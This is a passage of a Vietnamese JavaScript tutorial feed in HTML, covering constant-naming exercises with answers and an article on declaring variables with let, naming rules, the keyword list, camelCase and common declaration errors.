punctuation">;</span> <span class="token keyword">const</span> $$__abc <span class="token operator">=</span> <span class="token string">"xyz"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> 1point <span class="token operator">=</span> <span class="token string">'2d'</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">MAX_NUMBER</span> <span class="token operator">=</span> <span class="token number">1000000000</span><span class="token punctuation">;</span> <span class="token keyword">const</span> chu_vi_hinh_tron <span class="token operator">=</span> <span class="token number">400</span><span class="token punctuation">;</span> <span class="token keyword">const</span> x<span class="token operator">*</span>b <span class="token operator">=</span> <span class="token number">404</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token keyword">if</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span></code></pre></div> <p>Và chỉ ra chính xác lỗi sai là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> value <span class="token operator">=</span> <span class="token number">111</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">const</span> _ret100<span class="token operator">^</span> <span class="token operator">=</span> <span class="token string">"lalala"</span><span class="token punctuation">;</span> <span class="token comment">// Sai vì dùng kí tự đặc biệt ^</span> <span class="token keyword">const</span> $$__abc <span class="token operator">=</span> <span class="token string">"xyz"</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">const</span> 1point <span class="token operator">=</span> <span class="token string">'2d'</span><span class="token punctuation">;</span> <span class="token comment">// Sai vì bắt đầu bằng số</span> <span class="token keyword">const</span> <span class="token constant">MAX_NUMBER</span> <span class="token operator">=</span> <span class="token number">1000000000</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">const</span> chu_vi_hinh_tron <span class="token operator">=</span> <span class="token number">400</span><span class="token punctuation">;</span> <span class="token comment">// Đúng</span> <span class="token keyword">const</span> x<span class="token operator">*</span>b <span class="token operator">=</span> <span class="token number">404</span><span class="token punctuation">;</span> <span class="token comment">// Sai vì dùng kí tự đặc biệt *</span> <span class="token keyword">const</span> <span class="token keyword">if</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token comment">// Sai vì dùng từ khóa</span></code></pre></div> </div> </div> </div> <h3 id="bài-2-khai-báo-và-in-ra-giá-trị-của-hằng" style="position:relative;"><a href="#b%C3%A0i-2-khai-b%C3%A1o-v%C3%A0-in-ra-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-h%E1%BA%B1ng" aria-label="bài 2 khai báo và in ra giá trị của hằng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2: Khai báo và in ra giá trị của hằng</h3> <ol> <li>Khai báo hai hằng <strong>COLOR_ORANGE</strong> và <strong>COLOR_YELLOW</strong> lần lượt là mã màu cam và màu vàng.</li> <li>In ra giá trị của hai hằng số trên ra <a href="/dev-tools-la-gi/">console.log</a>.</li> <li>Khai báo biến <strong>currentColor</strong> với giá trị bằng <strong>COLOR_ORANGE</strong>.</li> <li>In ra console giá trị của biến <strong>currentColor</strong> (kết quả phải là giá trị của hằng <strong>COLOR_ORANGE</strong>).</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1. Khai báo hai hằng "COLOR_ORANGE" và "COLOR_YELLOW"</span> <span class="token keyword">const</span> <span class="token constant">COLOR_ORANGE</span> <span class="token operator">=</span> <span class="token string">"#FFA500"</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token constant">COLOR_YELLOW</span> <span class="token operator">=</span> <span class="token string">"#FFFF00"</span><span class="token punctuation">;</span> <span class="token comment">// 2. In ra giá trị của hai hằng số trên ra console.log.</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">COLOR_ORANGE</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// #FFA500</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">COLOR_YELLOW</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// #FFFF00</span> <span class="token comment">// 3. Khai báo biến "currentColor" với giá trị bằng "COLOR_ORANGE".</span> <span class="token keyword">let</span> currentColor <span class="token operator">=</span> <span class="token constant">COLOR_ORANGE</span><span class="token punctuation">;</span> <span class="token comment">// 4. In ra console giá trị của biến "currentColor"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>currentColor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// #FFA500</span></code></pre></div> </div> </div> </div>[email protected]<![CDATA[Biến là gì? Cơ bản về biến trong JavaScript]]><![CDATA[Nếu như trong toán học có khái niệm biến số thì trong lập trình cũng có khái niệm biến. Đây là một thành phần không thể thiếu trong lập trình. Vì vậy, bài viết này mình sẽ tập…]]>https://completejavascript.com/bien-la-gi-bien-trong-javascript/https://completejavascript.com/bien-la-gi-bien-trong-javascript/<![CDATA[Biến]]>Sun, 30 Apr 2017 20:00:00 GMT<p>Nếu như trong toán học có khái niệm <a href="https://vi.wikipedia.org/wiki/Bi%E1%BA%BFn_s%E1%BB%91">biến số</a> thì trong lập trình cũng có khái niệm biến. Đây là một thành phần không thể thiếu trong lập trình. Vì vậy, bài viết này mình sẽ tập trung vào tìm hiểu xem biến là gì, cách khai báo biến trong JavaScript và quy tắc đặt tên biến.</p> <h2 id="biến-là-gì" style="position:relative;"><a href="#bi%E1%BA%BFn-l%C3%A0-g%C3%AC" aria-label="biến là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Biến là gì?</h2> <p>Biến là "tên biểu tượng" dùng để đại diện cho một giá trị. Và giá trị của biến có thể thay đổi trong chương trình.</p> <p>Giả sử <strong>x</strong> là số lượng người đang đọc bài viết này, thì <strong>x</strong> chính là một biến. Ví dụ giá trị của biến <strong>x</strong> bây giờ là 100. Nhưng năm phút sau, số lượng người đọc bài viết tăng lên thành 150. Lúc này, giá trị của biến <strong>x</strong> sẽ là 150.</p> <h2 id="cách-khai-báo-biến-trong-javascript" style="position:relative;"><a href="#c%C3%A1ch-khai-b%C3%A1o-bi%E1%BA%BFn-trong-javascript" aria-label="cách khai báo biến trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách khai báo biến trong JavaScript</h2> <p>Để khai báo biến trong JavaScript, bạn dùng từ khóa <strong>let</strong> (từ khóa <strong>var</strong> đã lỗi thời và không nên sử dụng).</p> <p>Cú pháp khai báo biến như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">let &lt;tên biến>;</code></pre></div> <p>Ví dụ câu lệnh sau khai báo một biến số có tên là "language":</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language<span class="token punctuation">;</span></code></pre></div> <p>Bây giờ, bạn có thể gán giá trị cho biến "language" sử dụng toán tử gán (<code>=</code>):</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span></span></code></pre></div> <p>Nghĩa là biến "language" đang liên kết đến vùng nhớ có giá trị là "JavaScript". Và bạn có thể truy cập đến vùng nhớ bằng cách sử dụng tên của biến như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language<span class="token punctuation">;</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// Kết quả hiển thị trên console là: "JavaScript"</span></code></pre></div> <p>Để ngắn gọn, bạn có thể khai báo biến và gán giá trị cho biến trên cùng một dòng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JavaScript</span></code></pre></div> <p>Để khai báo nhiều biến, bạn có thể dùng dấu phẩy (<code>,</code>) để ngăn cách các biến trên cùng một dòng:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">let language = "JavaScript", message = "Hello", date = "Monday";</code></pre></div> <p>Ngoài ra, bạn cũng có thể viết như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">,</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> date <span class="token operator">=</span> <span class="token string">"Monday"</span><span class="token punctuation">;</span></code></pre></div> <p>Hoặc cho dấu phẩy lên đầu:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">let language = "JavaScript" , message = "Hello" , date = "Monday";</code></pre></div> <p>Tuy nhiên, mình thấy khai báo mỗi biến trên một dòng là dễ nhìn hơn cả:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> message <span class="token operator">=</span> <span class="token string">"Hello"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> date <span class="token operator">=</span> <span class="token string">"Monday"</span><span class="token punctuation">;</span></code></pre></div> <p>Về cơ bản thì các cách trên đều giống nhau, tùy thuộc thói quen và sở thích của bạn mà lựa chọn cho phù hợp.</p> <h2 id="cách-thay-đổi-giá-trị-của-biến-số" style="position:relative;"><a href="#c%C3%A1ch-thay-%C4%91%E1%BB%95i-gi%C3%A1-tr%E1%BB%8B-c%E1%BB%A7a-bi%E1%BA%BFn-s%E1%BB%91" aria-label="cách thay đổi giá trị của biến số permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách thay đổi giá trị của biến số</h2> <p>Để thay đổi giá trị của biến, bạn chỉ cần gán giá trị mới cho nó, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khai báo biến và gán giá trị ban đầu</span> <span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JavaScript</span> <span class="token comment">// Thay đổi giá trị của biến</span> <span class="gatsby-highlight-code-line">language <span class="token operator">=</span> <span class="token string">"React"</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// React</span></code></pre></div> <p>Hoặc bạn cũng có thể gán giá trị của biến số này cho biến số khác, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khai báo biến và gán giá trị ban đầu</span> <span class="token keyword">let</span> language1 <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JavaScript</span> <span class="token comment">// Khai báo biến số 2</span> <span class="token keyword">let</span> language2<span class="token punctuation">;</span> <span class="token comment">// Gán giá trị của biến language1 cho biến language2</span> <span class="gatsby-highlight-code-line">language2 <span class="token operator">=</span> language1<span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JavaScript</span> <span class="token comment">// Giá trị của biến language1 vẫn không đổi</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>language1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// JavaScript</span></code></pre></div> <h2 id="quy-tắc-đặt-tên-biến-trong-javascript" style="position:relative;"><a href="#quy-t%E1%BA%AFc-%C4%91%E1%BA%B7t-t%C3%AAn-bi%E1%BA%BFn-trong-javascript" aria-label="quy tắc đặt tên biến trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Quy tắc đặt tên biến trong JavaScript</h2> <p>Quy tắc đặt tên biến trong JavaScript như sau:</p> <ul> <li>Bắt đầu bằng chữ cái, dấu gạch dưới (<code>_</code>) hoặc kí tự "đô la" (<code>$</code>).</li> <li>Sau kí tự đầu tiên, ngoài những kí tự trên, bạn có thể sử dụng thêm số (0-9).</li> <li>Không sử dụng từ khoá và từ dự trữ.</li> </ul> <blockquote> <p>Từ khoá (<strong>keywords</strong>) là những từ mang ý nghĩa đặc biệt. Từ <strong>let</strong> là một từ khoá, với ý nghĩa là để khai báo biến.</p> <p>Từ dự trữ (<strong>reserved words</strong>) là những từ sẽ được dùng làm từ khoá cho những phiên bản sau của JavaScript. Bạn không thể sử dụng từ khoá hay từ dự trữ để đặt tên cho biến số.</p> <p>Danh sách những từ khoá và những từ dự trữ:</p> <p><em>break case catch class const continue debugger default delete do else enum export extends false finally for function if implements import in instanceof interface let new null package private protected public return static super switch this throw true try typeof var void while with yield</em></p> <p>Mỗi từ khoá và từ dự trữ mang một ý nghĩa khác nhau. Và mình sẽ giới thiệu chúng trong những bài viết sau.</p> </blockquote> <p>Ví dụ những tên biến hợp lệ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> temp <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token keyword">let</span> _result3 <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">let</span> $_$ <span class="token operator">=</span> <span class="token string">"hehehe"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> <span class="token constant">I_AM_HUNGRY</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token keyword">let</span> dientichao <span class="token operator">=</span> <span class="token number">999</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ những tên biến không hợp lệ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> point<span class="token operator">%</span> <span class="token operator">=</span> <span class="token number">50</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng kí tự đặc biệt %</span> <span class="token keyword">let</span> 2you <span class="token operator">=</span> <span class="token string">'passtion'</span><span class="token punctuation">;</span> <span class="token comment">// bắt đầu bằng số</span> <span class="token keyword">let</span> <span class="token keyword">null</span> <span class="token operator">=</span> <span class="token string">'oh no'</span><span class="token punctuation">;</span> <span class="token comment">// sử dụng từ khoá "null"</span></code></pre></div> <blockquote> <p>📝 Một số <strong>chú ý</strong> khi đặt tên biến:</p> <p>Tên biến trong JavaScript có phân biệt <strong>CHỮ HOA</strong> và <strong>chữ thường</strong>. Ví dụ hai biến <strong>language</strong> và <strong>LanGuage</strong> là hai biến khác nhau.</p> <p>Bạn có thể sử dụng những chữ cái không phải chữ cái Latinh để đặt tên biến. Nhưng điều này là không nên. Bạn nên sử dụng chữ cái Latinh (a-z) để đặt tên biến.</p> <p>Tốt nhất là đặt theo chuẩn tiếng Anh để mọi người trên thế giới có thể hiểu code của bạn.</p> </blockquote> <h2 id="chuẩn-hóa-cách-đặt-tên-biến" style="position:relative;"><a href="#chu%E1%BA%A9n-h%C3%B3a-c%C3%A1ch-%C4%91%E1%BA%B7t-t%C3%AAn-bi%E1%BA%BFn" aria-label="chuẩn hóa cách đặt tên biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuẩn hóa cách đặt tên biến</h2> <p>Về cơ bản, bạn có thể đặt tên biến là bất kỳ thứ gì, miễn là tuân theo quy tắc trên. Tuy nhiên, bạn nên đặt tên biến theo đúng chuẩn thì tốt hơn.</p> <p>Mục đích là để bạn hoặc đồng nghiệp khi đọc code thì dễ dàng hiểu được mỗi biến dùng để làm gì, ví dụ:</p> <ul> <li>Biến lưu tên: <strong>name</strong>.</li> <li>Biến lưu tuổi: <strong>age</strong>.</li> <li>Biến lưu địa chỉ: <strong>address</strong>.</li> <li>...</li> </ul> <p>Có nhiều trường hợp dùng một từ không thể hiện được ý nghĩa của biến, bạn có thể dùng nhiều từ tùy ý, ví dụ:</p> <ul> <li>Biến lưu tổng số học sinh: <strong>totalStudent</strong>.</li> <li>Biến lưu số lượng xe máy trong bãi: <strong>numberOfMotobike</strong>.</li> <li>...</li> </ul> <p>Trong ví dụ trên, bạn thấy mình viết hoa chữ cái đầu tiên của các từ phía sau. Điều này giúp việc đọc tên biến dễ dàng hơn. Cách đặt tên biến này gọi là: <strong>camelCase</strong>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 220px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 83.03030303030303%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAEUElEQVQ4y31TbUxTVxh+WhgxY3HRHzLRQttbej9LmTDn1/hSoMhHS7nt7aUMhybqcNGpVKyzRBEQvxCqQMuFloLCCMY546Y/FpNF/2zLfmzJ9mfJ4o9l/tlnlkWZ1LMcrG5LzE7y5n3Oe8/7PM97cw7eK1mB01uNuhMVqxFzmzK7q82fnHAYqwddeQhVGJccLF6FXoeR7aoytpGbdny+3YBwrQHXdq7FcKNV9+eICvJpB4bcVl1gw3IgVJqF9nLzC878ldi5Lnt0f0ku6d7KfP9rZ+FLR8oNCO7wYtf6VZ8dLM0lwXLD5mB5Dg6XGfRxVdQPOhl8FarAF4E3cK7WhOkWux7T2+zp080iZvxCVXtZLumsMs+HKs2ky2Ge3rdx5WsHS3JutG0ykIEGlpxwmAeOVjHoqbFmRD08uitWL4/K7MfDbuvovteXLZnZVgBc2VGIsMtSF1eFH0cVgQTKjcljDoYGocQna/LI8Wpm4Z1NBhLcYnw4UM9U9lSb0V9nLoqr4s/n68zkbI2JTDRJ94fceX2IytxwXBVpgSSapORMSz65/Kbt8aRfSqZiYcovkSm/tDDo5kigLPenDCBT83IXaE9cFR/Em6Qk5Qg7mSjGFIGSPYqr4gItxlTxMc3xJ/nfQS412x6dqrOS8y7rNxOq+ENclWjvIllEZvvP1Zp4jCn8Xykl2pRMuX1G8mRP8eIZQh0n/BQv7pMTTdJCTBXJkNvqiMgsoHn5b1OEi2On3P7H3VPBxfwEL6REKX5I6xGZPXy5xQ5cbLDcpIpjCn9f8/Jfp0hpczKFn5HFVPHBmCL8lhrz0USTNE/r4z5hftDJ5F9wWYC+zSvuJPw2onn5W6HSrFc0L3+bjhDz0RAejvuE3ydS7nuLX/6urzK7PfGPEBlXhD8uuCyOmE9AoknSo3tj5r2YTyBRmduvKTwIIRh0MoUjjWxtb6XBPNJoDU8255NIA0OCdtzaWWHPiMrs6VEvPxOR2Y4zW405YwqP998q0N9tLwM6i/RJzcuRqIf3aopIb3t62GVB2Mkg5hMRldkQneBk8VKyj4PzkA34oG0TZltfpY7QX2tCzCfo7wbK8CIAhArTftEUYT4qsx5NEeibTLvYYNFP+m3pXx6rR0yVrgw5jeSIHfdbWd1yVxYQrjelz20v1Cf8trSwy6KbbrFjbvsa9DlygICE2YjMXR31cJ3Ukebl0wfqGVzftVZ3Y89GjPvEqTNV2XMBEbOrbhPcqQOCRRn0t6C3ykDP07uM3QWZWFwHRITP1RjFiIcbu757HdQ8PU5V59Inqfvw7fUYkbme48XLag/ZoHXkA+Ml0LVaAbcRz18dBbi0l8OBEZm7Nurh2mZb1yDhl3RPv2uK8NHRDUsbgnbc2yvpKrqKgJNr/4ewvSDNvNuC8kEns22kkb3atSU7q6dyNaaa8/U392xA1MPdHnbn3dovQnlXQumpQqB/PSCbnk/4Nxj19Tq/NepyAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="camel case" title="camel case" src="/static/abda734758b024f1dc8933277cf335e2/8c324/camel-case-completejavascript.com_.png" srcset="/static/abda734758b024f1dc8933277cf335e2/103f2/camel-case-completejavascript.com_.png 165w, /static/abda734758b024f1dc8933277cf335e2/8c324/camel-case-completejavascript.com_.png 220w" sizes="(max-width: 220px) 100vw, 220px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Ngoài cách trên, bạn có thể sử dụng <strong>snake_case</strong> với dấu gạch dưới (<code>_</code>) để ngăn cách các từ như sau:</p> <ul> <li>Biến lưu tổng số học sinh: <strong>total_student</strong>.</li> <li>Biến lưu số lượng xe máy trong bãi: <strong>number_of_motobike</strong>.</li> </ul> <p>Còn nhiều cách đặt tên khác nữa (PascalCase, CONSTANT_CASE, flatcase,...). Bạn có thể chọn một cách bất kỳ. Miễn sao bạn đặt tên biến dễ nhìn và thống nhất một kiểu đặt tên biến trong toàn bộ dự án.</p> <blockquote> <p>💡 Đối với lập trình JavaScript, mình thấy đặt tên biến theo kiểu <strong>camelCase</strong> là phổ biến hơn cả. Và mình cũng sử dụng cách này khi lập trình JavaScript.</p> </blockquote> <h2 id="một-số-lỗi-với-biến-trong-javascript" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-l%E1%BB%97i-v%E1%BB%9Bi-bi%E1%BA%BFn-trong-javascript" aria-label="một số lỗi với biến trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số lỗi với biến trong JavaScript</h2> <p>Khai báo và gán giá trị cho biến tưởng chừng là đơn giản. Nhưng đôi khi bạn cũng có thể mắc các lỗi sau đây.</p> <h3 id="khai-báo-biến-nhiều-lần" style="position:relative;"><a href="#khai-b%C3%A1o-bi%E1%BA%BFn-nhi%E1%BB%81u-l%E1%BA%A7n" aria-label="khai báo biến nhiều lần permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khai báo biến nhiều lần</h3> <p>Một biến số chỉ được khai báo một lần, nếu bạn khai báo lại biến đó thì sẽ bị lỗi cú pháp, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"JavaScript"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> language <span class="token operator">=</span> <span class="token string">"React"</span><span class="token punctuation">;</span></code></pre></div> <p>Bạn sẽ bị lỗi: <strong>Uncaught SyntaxError: Identifier 'language' has already been declared</strong> (biến "language" đã được định nghĩa rồi).</p> <h3 id="gán-giá-trị-cho-biến-trước-khi-khai-báo" style="position:relative;"><a href="#g%C3%A1n-gi%C3%A1-tr%E1%BB%8B-cho-bi%E1%BA%BFn-tr%C6%B0%E1%BB%9Bc-khi-khai-b%C3%A1o" aria-label="gán giá trị cho biến trước khi khai báo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gán giá trị cho biến trước 